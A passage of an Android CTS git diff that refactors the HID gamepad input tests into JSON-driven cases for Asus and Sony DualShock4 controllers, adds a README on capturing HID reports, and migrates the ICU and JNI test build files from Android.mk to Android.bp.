+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.hardware.input.cts.tests;
+
+import android.hardware.cts.R;
+
+import androidx.test.filters.MediumTest;
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@MediumTest
+@RunWith(AndroidJUnit4.class)
+public class AsusGamepadTestCase extends InputTestCase {
+    public AsusGamepadTestCase() {
+        super(R.raw.asus_gamepad_register);
+    }
+
+    @Test
+    public void testAllKeys() {
+        testInputEvents(R.raw.asus_gamepad_keyeventtests);
+    }
+
+    @Test
+    public void testAllMotions() {
+        testInputEvents(R.raw.asus_gamepad_motioneventtests);
+    }
+}
diff --git a/tests/tests/hardware/src/android/hardware/input/cts/tests/GamepadTestCase.java b/tests/tests/hardware/src/android/hardware/input/cts/tests/GamepadTestCase.java
deleted file mode 100644
index 416ee4d..0000000
--- a/tests/tests/hardware/src/android/hardware/input/cts/tests/GamepadTestCase.java
+++ /dev/null
@@ -1,46 +0,0 @@
-/*
- * Copyright 2015 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.hardware.input.cts.tests;
-import android.hardware.cts.R;
-import android.view.KeyEvent;
-
-import androidx.test.filters.SmallTest;
-import androidx.test.runner.AndroidJUnit4;
-
-import org.junit.Test;
-import org.junit.runner.RunWith;
-
-@SmallTest
-@RunWith(AndroidJUnit4.class)
-public class GamepadTestCase extends InputTestCase {
-    private static final String TAG = "GamepadTests";
-
-    @Test
-    public void testButtonA() throws Exception {
-        registerInputDevice(R.raw.gamepad_register_device);
-
-        sendHidCommands(R.raw.gamepad_button_a_down);
-        sendHidCommands(R.raw.gamepad_delay);
-        assertReceivedKeyEvent(KeyEvent.ACTION_DOWN, KeyEvent.KEYCODE_BUTTON_A);
-
-        sendHidCommands(R.raw.gamepad_button_a_up);
-        assertReceivedKeyEvent(KeyEvent.ACTION_UP, KeyEvent.KEYCODE_BUTTON_A);
-
-        assertNoMoreEvents();
-    }
-}
-
diff --git a/tests/tests/hardware/src/android/hardware/input/cts/tests/InputTestCase.java b/tests/tests/hardware/src/android/hardware/input/cts/tests/InputTestCase.java
index 3192de6..b88283b 100644
--- a/tests/tests/hardware/src/android/hardware/input/cts/tests/InputTestCase.java
+++ b/tests/tests/hardware/src/android/hardware/input/cts/tests/InputTestCase.java
@@ -20,51 +20,47 @@
 import static org.junit.Assert.fail;
 
 import android.app.Instrumentation;
-import android.app.UiAutomation;
 import android.hardware.input.cts.InputCallback;
 import android.hardware.input.cts.InputCtsActivity;
-import android.os.ParcelFileDescriptor;
-import android.os.SystemClock;
+import android.view.InputEvent;
 import android.view.KeyEvent;
 import android.view.MotionEvent;
 
+import androidx.annotation.NonNull;
 import androidx.test.InstrumentationRegistry;
 import androidx.test.rule.ActivityTestRule;
 
-import libcore.io.IoUtils;
+import com.android.cts.input.HidDevice;
+import com.android.cts.input.HidJsonParser;
+import com.android.cts.input.HidTestData;
 
 import org.junit.After;
 import org.junit.Before;
 import org.junit.Rule;
 
-import java.io.ByteArrayOutputStream;
-import java.io.IOException;
-import java.io.InputStream;
-import java.io.OutputStream;
+import java.util.ArrayList;
+import java.util.List;
 import java.util.concurrent.BlockingQueue;
-import java.util.concurrent.CountDownLatch;
 import java.util.concurrent.LinkedBlockingQueue;
 import java.util.concurrent.TimeUnit;
 
-public class InputTestCase {
-    // hid executable expects "-" argument to read from stdin instead of a file
-    private static final String HID_COMMAND = "hid -";
-    private static final String[] KEY_ACTIONS = {"DOWN", "UP", "MULTIPLE"};
+public abstract class InputTestCase {
+    private static final float TOLERANCE = 0.005f;
 
-    private OutputStream mOutputStream;
+    private final BlockingQueue<InputEvent> mEvents;
 
-    private final BlockingQueue<KeyEvent> mKeys;
-    private final BlockingQueue<MotionEvent> mMotions;
     private InputListener mInputListener;
-
     private Instrumentation mInstrumentation;
+    private HidDevice mHidDevice;
+    private HidJsonParser mParser;
+    // Stores the name of the currently running test
+    private String mCurrentTestCase;
+    private int mRegisterResourceId; // raw resource that contains json for registering a hid device
 
-    private volatile CountDownLatch mDeviceAddedSignal; // to wait for onInputDeviceAdded signal
-
-    public InputTestCase() {
-        mKeys = new LinkedBlockingQueue<KeyEvent>();
-        mMotions = new LinkedBlockingQueue<MotionEvent>();
+    InputTestCase(int registerResourceId) {
+        mEvents = new LinkedBlockingQueue<>();
         mInputListener = new InputListener();
+        mRegisterResourceId = registerResourceId;
     }
 
     @Rule
@@ -72,55 +68,19 @@
         new ActivityTestRule<>(InputCtsActivity.class);
 
     @Before
-    public void setUp() throws Exception {
-        clearKeys();
-        clearMotions();
+    public void setUp() {
         mInstrumentation = InstrumentationRegistry.getInstrumentation();
         mActivityRule.getActivity().setInputCallback(mInputListener);
-        setupPipes();
+        mParser = new HidJsonParser(mInstrumentation.getTargetContext());
+        int hidDeviceId = mParser.readDeviceId(mRegisterResourceId);
+        String registerCommand = mParser.readRegisterCommand(mRegisterResourceId);
+        mHidDevice = new HidDevice(mInstrumentation, hidDeviceId, registerCommand);
+        mEvents.clear();
     }
 
     @After
-    public void tearDown() throws Exception {
-        IoUtils.closeQuietly(mOutputStream);
-    }
-
-    /**
-     * Register an input device. May cause a failure if the device added notification
-     * is not received within the timeout period
-     *
-     * @param resourceId The resource id from which to send the register command.
-     */
-    public void registerInputDevice(int resourceId) {
-        mDeviceAddedSignal = new CountDownLatch(1);
-        sendHidCommands(resourceId);
-        try {
-            // Found that in kernel 3.10, the device registration takes a very long time
-            // The wait can be decreased to 2 seconds after kernel 3.10 is no longer supported
-            mDeviceAddedSignal.await(20L, TimeUnit.SECONDS);
-            if (mDeviceAddedSignal.getCount() != 0) {
-                fail("Device added notification was not received in time.");
-            }
-        } catch (InterruptedException ex) {
-            fail("Unexpectedly interrupted while waiting for device added notification.");
-        }
-        SystemClock.sleep(100);
-    }
-
-    /**
-     * Sends the HID commands designated by the given resource id.
-     * The commands must be in the format expected by the `hid` shell command.
-     *
-     * @param id The resource id from which to load the HID commands. This must be a "raw"
-     * resource.
-     */
-    public void sendHidCommands(int id) {
-        try {
-            mOutputStream.write(getEvents(id).getBytes());
-            mOutputStream.flush();
-        } catch (IOException e) {
-            throw new RuntimeException(e);
-        }
+    public void tearDown() {
+        mHidDevice.close();
     }
 
     /**
@@ -131,114 +91,187 @@
      * KeyEvents are received within a reasonable amount of time, then this will throw an
      * AssertionFailedError.
      *
-     * @param action The action to expect on the next KeyEvent
-     * (e.g. {@link android.view.KeyEvent#ACTION_DOWN}).
-     * @param keyCode The expected key code of the next KeyEvent.
+     * Only action and keyCode are being compared.
      */
-    public void assertReceivedKeyEvent(int action, int keyCode) {
-        KeyEvent k = waitForKey();
-        if (k == null) {
-            fail("Timed out waiting for " + KeyEvent.keyCodeToString(keyCode)
-                    + " with action " + KEY_ACTIONS[action]);
-            return;
+    private void assertReceivedKeyEvent(@NonNull KeyEvent expectedKeyEvent) {
+        KeyEvent receivedKeyEvent = waitForKey();
+        if (receivedKeyEvent == null) {
+            fail(mCurrentTestCase + ": timed out waiting for "
+                    + KeyEvent.keyCodeToString(expectedKeyEvent.getKeyCode())
+                    + " with action " + KeyEvent.actionToString(expectedKeyEvent.getAction()));
         }
-        assertEquals(action, k.getAction());
-        assertEquals(keyCode, k.getKeyCode());
+        assertEquals(mCurrentTestCase, expectedKeyEvent.getAction(), receivedKeyEvent.getAction());
+        assertEquals(mCurrentTestCase,
+                expectedKeyEvent.getKeyCode(), receivedKeyEvent.getKeyCode());
+    }
+
+    private void assertReceivedMotionEvent(@NonNull MotionEvent expectedEvent) {
+        MotionEvent event = waitForMotion();
+        /*
+         If the test fails here, one thing to try is to forcefully add a delay after the device
+         added callback has been received, but before any hid data has been written to the device.
+         We already wait for all of the proper callbacks here and in other places of the stack, but
+         it appears that the device sometimes is still not ready to receive hid data. If any data
+         gets written to the device in that state, it will disappear,
+         and no events will be generated.
+          */
+
+        if (event == null) {
+            fail(mCurrentTestCase + ": timed out waiting for MotionEvent");
+        }
+        if (event.getHistorySize() > 0) {
+            fail(mCurrentTestCase + ": expected each MotionEvent to only have a single entry");
+        }
+        assertEquals(mCurrentTestCase, expectedEvent.getAction(), event.getAction());
+        for (int axis = MotionEvent.AXIS_X; axis <= MotionEvent.AXIS_GENERIC_16; axis++) {
+            assertEquals(mCurrentTestCase + " (" + MotionEvent.axisToString(axis) + ")",
+                    expectedEvent.getAxisValue(axis), event.getAxisValue(axis), TOLERANCE);
+        }
     }
 
     /**
-     * Asserts that no more events have been received by the application.
+     * Assert that no more events have been received by the application.
      *
-     * If any more events have been received by the application, this throws an
-     * AssertionFailedError.
+     * If any more events have been received by the application, this will cause failure.
      */
-    public void assertNoMoreEvents() {
-        KeyEvent key;
-        MotionEvent motion;
-        if ((key = mKeys.poll()) != null) {
-            fail("Extraneous key events generated: " + key);
+    private void assertNoMoreEvents() {
+        mInstrumentation.waitForIdleSync();
+        InputEvent event = mEvents.poll();
+        if (event == null) {
+            return;
         }
-        if ((motion = mMotions.poll()) != null) {
-            fail("Extraneous motion events generated: " + motion);
-        }
+        fail(mCurrentTestCase + ": extraneous events generated: " + event);
     }
 
-    private KeyEvent waitForKey() {
+    protected void testInputEvents(int resourceId) {
+        List<HidTestData> tests = mParser.getTestData(resourceId);
+
+        for (HidTestData testData: tests) {
+            mCurrentTestCase = testData.name;
+
+            // Send all of the HID reports
+            for (int i = 0; i < testData.reports.size(); i++) {
+                final String report = testData.reports.get(i);
+                mHidDevice.sendHidReport(report);
+            }
+
+            // Make sure we received the expected input events
+            for (int i = 0; i < testData.events.size(); i++) {
+                final InputEvent event = testData.events.get(i);
+                if (event instanceof MotionEvent) {
+                    assertReceivedMotionEvent((MotionEvent) event);
+                } else if (event instanceof KeyEvent) {
+                    assertReceivedKeyEvent((KeyEvent) event);
+                } else {
+                    fail("Entry " + i + " is neither a KeyEvent nor a MotionEvent: " + event);
+                }
+            }
+        }
+        assertNoMoreEvents();
+    }
+
+    private InputEvent waitForEvent() {
         try {
-            return mKeys.poll(1, TimeUnit.SECONDS);
+            return mEvents.poll(5, TimeUnit.SECONDS);
         } catch (InterruptedException e) {
+            fail(mCurrentTestCase + ": unexpectedly interrupted while waiting for InputEvent");
             return null;
         }
     }
 
-    private void clearKeys() {
-        mKeys.clear();
-    }
-
-    private void clearMotions() {
-        mMotions.clear();
-    }
-
-    private void setupPipes() throws IOException {
-        UiAutomation ui = mInstrumentation.getUiAutomation();
-        ParcelFileDescriptor[] pipes = ui.executeShellCommandRw(HID_COMMAND);
-
-        mOutputStream = new ParcelFileDescriptor.AutoCloseOutputStream(pipes[1]);
-        IoUtils.closeQuietly(pipes[0]); // hid command is write-only
-    }
-
-    private String getEvents(int id) throws IOException {
-        InputStream is =
-            mInstrumentation.getTargetContext().getResources().openRawResource(id);
-        return readFully(is);
-    }
-
-    private static String readFully(InputStream is) throws IOException {
-        ByteArrayOutputStream baos = new ByteArrayOutputStream();
-        int read = 0;
-        byte[] buffer = new byte[1024];
-        while ((read = is.read(buffer)) >= 0) {
-            baos.write(buffer, 0, read);
+    private KeyEvent waitForKey() {
+        InputEvent event = waitForEvent();
+        if (event instanceof KeyEvent) {
+            return (KeyEvent) event;
         }
-        return baos.toString();
+        fail("Expected a KeyEvent, but received: " + event);
+        return null;
+    }
+
+    private MotionEvent waitForMotion() {
+        InputEvent event = waitForEvent();
+        if (event instanceof MotionEvent) {
+            return (MotionEvent) event;
+        }
+        fail("Expected a MotionEvent, but received: " + event);
+        return null;
+    }
+
+    /**
+     * Since MotionEvents are batched together based on overall system timings (i.e. vsync), we
+     * can't rely on them always showing up batched in the same way. In order to make sure our
+     * test results are consistent, we instead split up the batches so they end up in a
+     * consistent and reproducible stream.
+     *
+     * Note, however, that this ignores the problem of resampling, as we still don't know how to
+     * distinguish resampled events from real events. Only the latter will be consistent and
+     * reproducible.
+     *
+     * @param event The (potentially) batched MotionEvent
+     * @return List of MotionEvents, with each event guaranteed to have zero history size, and
+     * should otherwise be equivalent to the original batch MotionEvent.
+     */
+    private static List<MotionEvent> splitBatchedMotionEvent(MotionEvent event) {
+        List<MotionEvent> events = new ArrayList<>();
+        final int historySize = event.getHistorySize();
+        final int pointerCount = event.getPointerCount();
+        MotionEvent.PointerProperties[] properties =
+                new MotionEvent.PointerProperties[pointerCount];
+        MotionEvent.PointerCoords[] currentCoords = new MotionEvent.PointerCoords[pointerCount];
+        for (int p = 0; p < pointerCount; p++) {
+            properties[p] = new MotionEvent.PointerProperties();
+            event.getPointerProperties(p, properties[p]);
+            currentCoords[p] = new MotionEvent.PointerCoords();
+            event.getPointerCoords(p, currentCoords[p]);
+        }
+        for (int h = 0; h < historySize; h++) {
+            long eventTime = event.getHistoricalEventTime(h);
+            MotionEvent.PointerCoords[] coords = new MotionEvent.PointerCoords[pointerCount];
+
+            for (int p = 0; p < pointerCount; p++) {
+                coords[p] = new MotionEvent.PointerCoords();
+                event.getHistoricalPointerCoords(p, h, coords[p]);
+            }
+            MotionEvent singleEvent =
+                    MotionEvent.obtain(event.getDownTime(), eventTime, event.getAction(),
+                            pointerCount, properties, coords,
+                            event.getMetaState(), event.getButtonState(),
+                            event.getXPrecision(), event.getYPrecision(),
+                            event.getDeviceId(), event.getEdgeFlags(),
+                            event.getSource(), event.getFlags());
+            events.add(singleEvent);
+        }
+
+        MotionEvent singleEvent =
+                MotionEvent.obtain(event.getDownTime(), event.getEventTime(), event.getAction(),
+                        pointerCount, properties, currentCoords,
+                        event.getMetaState(), event.getButtonState(),
+                        event.getXPrecision(), event.getYPrecision(),
+                        event.getDeviceId(), event.getEdgeFlags(),
+                        event.getSource(), event.getFlags());
+        events.add(singleEvent);
+        return events;
     }
 
     private class InputListener implements InputCallback {
         @Override
         public void onKeyEvent(KeyEvent ev) {
-            boolean done = false;
-            do {
-                try {
-                    mKeys.put(new KeyEvent(ev));
-                    done = true;
-                } catch (InterruptedException ignore) { }
-            } while (!done);
+            try {
+                mEvents.put(new KeyEvent(ev));
+            } catch (InterruptedException ex) {
+                fail(mCurrentTestCase + ": interrupted while adding a KeyEvent to the queue");
+            }
         }
 
         @Override
         public void onMotionEvent(MotionEvent ev) {
-            boolean done = false;
-            do {
-                try {
-                    mMotions.put(MotionEvent.obtain(ev));
-                    done = true;
-                } catch (InterruptedException ignore) { }
-            } while (!done);
-        }
-
-        @Override
-        public void onInputDeviceAdded(int deviceId) {
-            mDeviceAddedSignal.countDown();
-        }
-
-        @Override
-        public void onInputDeviceRemoved(int deviceId) {
-        }
-
-        @Override
-        public void onInputDeviceChanged(int deviceId) {
+            try {
+                for (MotionEvent event : splitBatchedMotionEvent(ev)) {
+                    mEvents.put(event);
+                }
+            } catch (InterruptedException ex) {
+                fail(mCurrentTestCase + ": interrupted while adding a MotionEvent to the queue");
+            }
         }
     }
-
-
 }
diff --git a/tests/tests/hardware/src/android/hardware/input/cts/tests/README.md b/tests/tests/hardware/src/android/hardware/input/cts/tests/README.md
new file mode 100644
index 0000000..a966ce7
--- /dev/null
+++ b/tests/tests/hardware/src/android/hardware/input/cts/tests/README.md
@@ -0,0 +1,18 @@
+How to add a test for a new HID device
+======================================
+
+    1. Connect the device of interest to Android
+    2. Open adb shell
+    3. Go to /sys/kernel/debug/hid/0005:0B05:4500.000F
+       Here "0005:0B05:4500.000F" is just an example, it will be different for each device.
+       Just print the /sys/kernel/debug/hid directory to see what it is for you.
+       This identifier will also change each time you reconnect the same physical device to Android.
+    4. `cat rdesc` will print the descriptor of this device
+    5. `cat events` will print the events that the device is producing
+       Once you cat the events, generate some events (by hand) on the device.
+       This will show you the hid reports that the device produces.
+
+To observe the MotionEvents that Android receives in response to the hid reports, write a small
+app that would override `dispatchGenericMotionEvent` and `dispatchKeyEvent` of an activity.
+There, print all of the event data that has changed. For MotionEvents, ensure to look at the
+historical data as well, since multiple reports could get batched into a single MotionEvent.
diff --git a/tests/tests/hardware/src/android/hardware/input/cts/tests/SonyDualshock4TestCase.java b/tests/tests/hardware/src/android/hardware/input/cts/tests/SonyDualshock4TestCase.java
new file mode 100644
index 0000000..ea7b4ca
--- /dev/null
+++ b/tests/tests/hardware/src/android/hardware/input/cts/tests/SonyDualshock4TestCase.java
@@ -0,0 +1,44 @@
+/*
+ * Copyright 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.hardware.input.cts.tests;
+
+import android.hardware.cts.R;
+
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class SonyDualshock4TestCase extends InputTestCase {
+
+    public SonyDualshock4TestCase() {
+        super(R.raw.sony_dualshock4_register);
+    }
+
+    @Test
+    public void testAllKeys() {
+        testInputEvents(R.raw.sony_dualshock4_keyeventtests);
+    }
+
+    @Test
+    public void testAllMotions() {
+        testInputEvents(R.raw.sony_dualshock4_motioneventtests);
+    }
+}
diff --git a/tests/tests/icu/Android.bp b/tests/tests/icu/Android.bp
new file mode 100644
index 0000000..178b909
--- /dev/null
+++ b/tests/tests/icu/Android.bp
@@ -0,0 +1,31 @@
+// Copyright (C) 2015 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test {
+    name: "CtsIcuTestCases",
+    defaults: ["cts_support_defaults"],
+    java_resource_dirs: ["resources"],
+    static_libs: [
+        "cts-core-test-runner-axt",
+        "android-icu4j-tests",
+    ],
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+	"mts",
+    ],
+    platform_apis: true,
+}
diff --git a/tests/tests/icu/Android.mk b/tests/tests/icu/Android.mk
deleted file mode 100644
index 204d97f..0000000
--- a/tests/tests/icu/Android.mk
+++ /dev/null
@@ -1,43 +0,0 @@
-# Copyright (C) 2015 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-# Don't include this package in any target
-LOCAL_MODULE_TAGS := tests
-# When built explicitly put it in the data partition
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_DEX_PREOPT := false
-
-LOCAL_PROGUARD_ENABLED := disabled
-
-LOCAL_JAVA_RESOURCE_DIRS := resources
-
-# The aim of this package is to run tests against the implementation in use by
-# the current android system.
-LOCAL_STATIC_JAVA_LIBRARIES := \
-	cts-core-test-runner-axt \
-	android-icu4j-tests
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-LOCAL_PACKAGE_NAME := CtsIcuTestCases
-LOCAL_PRIVATE_PLATFORM_APIS := true
-
-include $(BUILD_CTS_SUPPORT_PACKAGE)
-
diff --git a/tests/tests/icu/AndroidTest.xml b/tests/tests/icu/AndroidTest.xml
index 08ef7aa..51ae4fa 100644
--- a/tests/tests/icu/AndroidTest.xml
+++ b/tests/tests/icu/AndroidTest.xml
@@ -16,6 +16,10 @@
 <configuration description="Config for CTS ICU test cases">
     <option name="test-suite-tag" value="cts" />
     <option name="config-descriptor:metadata" key="component" value="libcore" />
+    <!-- Disable instant mode since ICU does not interact with system server. -->
+    <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <!-- Enable multi-lib since ICU4J is backed by native codes in libcore and ICU4C. -->
+    <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsIcuTestCases.apk" />
@@ -43,4 +47,8 @@
         <option name="include-annotation" value="android.icu.testsharding.MainTestShard" />
         <option name="hidden-api-checks" value="false"/>
     </test>
+
+    <object type="module_controller" class="com.android.tradefed.testtype.suite.module.TestFailureModuleController">
+        <option name="screenshot-on-failure" value="false" />
+    </object>
 </configuration>
diff --git a/tests/tests/icu/OWNERS b/tests/tests/icu/OWNERS
new file mode 100644
index 0000000..2d36574
--- /dev/null
+++ b/tests/tests/icu/OWNERS
@@ -0,0 +1,2 @@
+# Bug component: 24949
+include platform/libcore:/OWNERS
diff --git a/tests/tests/icu/resources/android/icu/cts/expectations/icu-known-failures.txt b/tests/tests/icu/resources/android/icu/cts/expectations/icu-known-failures.txt
index a2e6dc4..e68fcd9 100644
--- a/tests/tests/icu/resources/android/icu/cts/expectations/icu-known-failures.txt
+++ b/tests/tests/icu/resources/android/icu/cts/expectations/icu-known-failures.txt
@@ -16,11 +16,6 @@
   bug: "27374606"
 },
 {
-  description: "Fails on host and on device in same way before and after packaging",
-  name: "android.icu.dev.test.bidi.TestCompatibility#testCompatibility",
-  bug: "23995372"
-},
-{
   description: "Checks differences in DecimalFormat classes from ICU4J and JDK but on Android java.text.DecimalFormat is implemented in terms of ICU4J",
   name: "android.icu.dev.test.format.NumberFormatTest#TestDataDrivenJDK",
   bug: "27711713"
diff --git a/tests/tests/jni/Android.bp b/tests/tests/jni/Android.bp
new file mode 100644
index 0000000..aff9682
--- /dev/null
+++ b/tests/tests/jni/Android.bp
@@ -0,0 +1,94 @@
+// Copyright (C) 2009 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test {
+    name: "CtsJniTestCases",
+    defaults: ["cts_defaults"],
+    // Include both the 32 and 64 bit versions
+    compile_multilib: "both",
+    // When built, explicitly put it in the data partition.
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    static_libs: [
+        "ctstestrunner-axt",
+        "androidx.test.rules",
+    ],
+    jni_libs: [
+        "libjni_test_dlclose",
+        "libjninamespacea1",
+        "libjninamespacea2",
+        "libjninamespaceb",
+        "libjnicommon",
+        "libjnitest",
+        "libnativehelper_compat_libc++",
+    ],
+    srcs: ["src/**/*.java"],
+    sdk_version: "current",
+    use_embedded_native_libs: false,
+}
+
+cc_test_library {
+    name: "libjninamespacea1",
+    srcs: ["libjninamespacea1/namespacea1.cpp"],
+    cflags: [
+        "-Wall",
+        "-Werror",
+    ],
+    local_include_dirs: ["libjnicommon"],
+    host_ldlibs: ["-llog"],
+    shared_libs: [
+        "liblog",
+        "libjnicommon",
+    ],
+    sdk_version: "23",
+    gtest: false,
+}
+
+cc_test_library {
+    name: "libjninamespacea2",
+    srcs: ["libjninamespacea2/namespacea2.cpp"],
+    cflags: [
+        "-Wall",
+        "-Werror",
+    ],
+    local_include_dirs: ["libjnicommon"],
+    host_ldlibs: ["-llog"],
+    shared_libs: [
+        "liblog",
+        "libjnicommon",
+    ],
+    sdk_version: "23",
+    gtest: false,
+}
+
+cc_test_library {
+    name: "libjninamespaceb",
+    srcs: ["libjninamespaceb/namespaceb.cpp"],
+    cflags: [
+        "-Wall",
+        "-Werror",
+    ],
+    local_include_dirs: ["libjnicommon"],
+    host_ldlibs: ["-llog"],
+    shared_libs: [
+        "liblog",
+        "libjnicommon",
+    ],
+    sdk_version: "23",
+    gtest: false,
+}
diff --git a/tests/tests/jni/Android.mk b/tests/tests/jni/Android.mk
deleted file mode 100644
index 916f55e..0000000
--- a/tests/tests/jni/Android.mk
+++ /dev/null
@@ -1,52 +0,0 @@
-# Copyright (C) 2009 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_PACKAGE_NAME := CtsJniTestCases
-
-# Don't include this package in any target.
-LOCAL_MODULE_TAGS := optional
-
-# Include both the 32 and 64 bit versions
-LOCAL_MULTILIB := both
-
-# When built, explicitly put it in the data partition.
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner-axt androidx.test.rules
-
-LOCAL_JNI_SHARED_LIBRARIES := \
-  libjni_test_dlclose \
-  libjninamespacea1 \
-  libjninamespacea2 \
-  libjninamespaceb \
-  libjnicommon \
-  libjnitest \
-  libnativehelper_compat_libc++
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_SDK_VERSION := current
-LOCAL_NDK_STL_VARIANT := c++_shared
-
-include $(BUILD_CTS_PACKAGE)
-
-# Include the associated library's makefile.
-include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/tests/tests/jni/AndroidManifest.xml b/tests/tests/jni/AndroidManifest.xml
index a3f71fa..4c5236a 100644
--- a/tests/tests/jni/AndroidManifest.xml
+++ b/tests/tests/jni/AndroidManifest.xml
@@ -15,7 +15,8 @@
 -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="android.jni.cts">
+    package="android.jni.cts"
+    android:targetSandboxVersion="2">
 
     <uses-permission android:name="android.permission.DISABLE_KEYGUARD" />
     <application>
diff --git a/tests/tests/jni/AndroidTest.xml b/tests/tests/jni/AndroidTest.xml
index e4ab2dd..1c2d529 100644
--- a/tests/tests/jni/AndroidTest.xml
+++ b/tests/tests/jni/AndroidTest.xml
@@ -16,6 +16,8 @@
 <configuration description="Config for CTS JNI test cases">
     <option name="test-suite-tag" value="cts" />
     <option name="config-descriptor:metadata" key="component" value="art" />
+    <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsJniTestCases.apk" />
diff --git a/tests/tests/jni/TEST_MAPPING b/tests/tests/jni/TEST_MAPPING
new file mode 100644
index 0000000..5d9eea5
--- /dev/null
+++ b/tests/tests/jni/TEST_MAPPING
@@ -0,0 +1,7 @@
+{
+  "presubmit": [
+    {
+      "name": "CtsJniTestCases"
+    }
+  ]
+}
diff --git a/tests/tests/jni/libjnicommon/Android.bp b/tests/tests/jni/libjnicommon/Android.bp
new file mode 100644
index 0000000..15756f6
--- /dev/null
+++ b/tests/tests/jni/libjnicommon/Android.bp
@@ -0,0 +1,28 @@
+// Copyright (C) 2016 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+//
+// This is the shared library included by the JNI test app.
+//
+
+cc_test_library {
+    name: "libjnicommon",
+    srcs: ["common.cpp"],
+    cflags: [
+        "-Wall",
+        "-Werror",
+    ],
+    sdk_version: "23",
+    gtest: false,
+}
diff --git a/tests/tests/jni/libjnicommon/Android.mk b/tests/tests/jni/libjnicommon/Android.mk
deleted file mode 100644
index 14406f3..0000000
--- a/tests/tests/jni/libjnicommon/Android.mk
+++ /dev/null
@@ -1,39 +0,0 @@
-# Copyright (C) 2016 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
